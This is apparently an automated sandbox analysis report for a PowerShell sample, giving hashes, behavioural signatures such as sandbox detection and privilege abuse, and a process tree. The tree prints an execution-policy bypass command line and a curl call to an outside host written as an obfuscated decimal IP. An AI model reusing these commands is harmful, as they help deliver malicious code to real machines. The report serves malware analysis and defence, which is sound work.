Analysis
- user interaction
yes - max time kernel
80s - max time network
45s - platform
windows11-21h2_x64 - resource
win11-20260911-en - resource tags
arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
07/11/2026, 12:18
Static task
static1
Behavioral task
behavioral1
Sample
script.ps1
Resource
win11-20260911-en
windows11-21h2-x64
8 signatures
150 seconds
General
- Target script.ps1
- Size 1KB
- Sample261107-pgx29ax1ev
- SHA256 a8848ffb09cb993ae00ce8e00f19e05b36afc46ef68e518899d452ce4d77d934
- MD5 fc824d1963827d035435a090274ce761
- SHA1 7031d98fed049f7e74bdc1fc868b1b4ac3a03449
- SHA512 4d28a6b5806c99a36f82102e27cd1414d807e780e5da0f151229c047b4db9adeecf7d312d457d0881539bc35c913bafac65533813f86f3154ac895f314ba7055
- TLSH T17621D041729021DDC5C30FB6ECD7A3977BAA10BD804E6B446DFDC01195D253EAF3902A
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- Deletes itself 1 TTPs 1 IoCs
pid Process 4424 PowerShell.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\Download\SharedFileCache PowerShell.exe -
pid Process 4424 PowerShell.exe - Checks SCSI registry key(s) 3 TTPs 36 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 TextInputHost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 TextInputHost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 TextInputHost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 TextInputHost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 TextInputHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 TextInputHost.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4424 PowerShell.exe 4424 PowerShell.exe 1832 powershell.exe 1832 powershell.exe 3396 TextInputHost.exe 3396 TextInputHost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4424 PowerShell.exe Token: SeIncreaseQuotaPrivilege 4424 PowerShell.exe Token: SeSecurityPrivilege 4424 PowerShell.exe Token: SeTakeOwnershipPrivilege 4424 PowerShell.exe Token: SeLoadDriverPrivilege 4424 PowerShell.exe Token: SeSystemProfilePrivilege 4424 PowerShell.exe Token: SeSystemtimePrivilege 4424 PowerShell.exe Token: SeProfSingleProcessPrivilege 4424 PowerShell.exe Token: SeIncBasePriorityPrivilege 4424 PowerShell.exe Token: SeCreatePagefilePrivilege 4424 PowerShell.exe Token: SeBackupPrivilege 4424 PowerShell.exe Token: SeRestorePrivilege 4424 PowerShell.exe Token: SeShutdownPrivilege 4424 PowerShell.exe Token: SeDebugPrivilege 4424 PowerShell.exe Token: SeSystemEnvironmentPrivilege 4424 PowerShell.exe Token: SeRemoteShutdownPrivilege 4424 PowerShell.exe Token: SeUndockPrivilege 4424 PowerShell.exe Token: SeManageVolumePrivilege 4424 PowerShell.exe Token: 33 4424 PowerShell.exe Token: 34 4424 PowerShell.exe Token: 35 4424 PowerShell.exe Token: 36 4424 PowerShell.exe Token: SeIncreaseQuotaPrivilege 4424 PowerShell.exe Token: SeSecurityPrivilege 4424 PowerShell.exe Token: SeTakeOwnershipPrivilege 4424 PowerShell.exe Token: SeLoadDriverPrivilege 4424 PowerShell.exe Token: SeSystemProfilePrivilege 4424 PowerShell.exe Token: SeSystemtimePrivilege 4424 PowerShell.exe Token: SeProfSingleProcessPrivilege 4424 PowerShell.exe Token: SeIncBasePriorityPrivilege 4424 PowerShell.exe Token: SeCreatePagefilePrivilege 4424 PowerShell.exe Token: SeBackupPrivilege 4424 PowerShell.exe Token: SeRestorePrivilege 4424 PowerShell.exe Token: SeShutdownPrivilege 4424 PowerShell.exe Token: SeDebugPrivilege 4424 PowerShell.exe Token: SeSystemEnvironmentPrivilege 4424 PowerShell.exe Token: SeRemoteShutdownPrivilege 4424 PowerShell.exe Token: SeUndockPrivilege 4424 PowerShell.exe Token: SeManageVolumePrivilege 4424 PowerShell.exe Token: 33 4424 PowerShell.exe Token: 34 4424 PowerShell.exe Token: 35 4424 PowerShell.exe Token: 36 4424 PowerShell.exe Token: SeIncreaseQuotaPrivilege 4424 PowerShell.exe Token: SeSecurityPrivilege 4424 PowerShell.exe Token: SeTakeOwnershipPrivilege 4424 PowerShell.exe Token: SeLoadDriverPrivilege 4424 PowerShell.exe Token: SeSystemProfilePrivilege 4424 PowerShell.exe Token: SeSystemtimePrivilege 4424 PowerShell.exe Token: SeProfSingleProcessPrivilege 4424 PowerShell.exe Token: SeIncBasePriorityPrivilege 4424 PowerShell.exe Token: SeCreatePagefilePrivilege 4424 PowerShell.exe Token: SeBackupPrivilege 4424 PowerShell.exe Token: SeRestorePrivilege 4424 PowerShell.exe Token: SeShutdownPrivilege 4424 PowerShell.exe Token: SeDebugPrivilege 4424 PowerShell.exe Token: SeSystemEnvironmentPrivilege 4424 PowerShell.exe Token: SeRemoteShutdownPrivilege 4424 PowerShell.exe Token: SeUndockPrivilege 4424 PowerShell.exe Token: SeManageVolumePrivilege 4424 PowerShell.exe Token: 33 4424 PowerShell.exe Token: 34 4424 PowerShell.exe Token: 35 4424 PowerShell.exe Token: 36 4424 PowerShell.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3396 TextInputHost.exe 3396 TextInputHost.exe 3396 TextInputHost.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4424 wrote to memory of 2920 4424 PowerShell.exe 82
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps11⤵
- Deletes itself
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -s 1369980461/816892⤵PID:2920
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1832
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3396
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4184
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 433d35a248cba65eed6a3c3ad012bdcb1d7e86462bfd9747d4325f87fa758024
- MD5 49f513476daad45b378931d3af82e09f
- SHA1 2e633c6a12d7f850e5beafde9a3fd2ea29bfa31d
- SHA512 76f02ebe5cbe30864fd73db2ef4cf7b3deaa86db30532c5120052d72663f2fffa133b34111afd6969be3f907bf4284ae1f0d772ebe054663fa76c5e9e5a0be7a
- SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cWPiNyDxBPz6n:iq4uYqGEUdncqKXq3qotzYuWq2Iz+vcn
- TLSH T14A81EE323375E0D4C9563F07192C19C463AF4396EA54AF4CB258620EE92754BDF222F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eq10vfdk.oxx.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH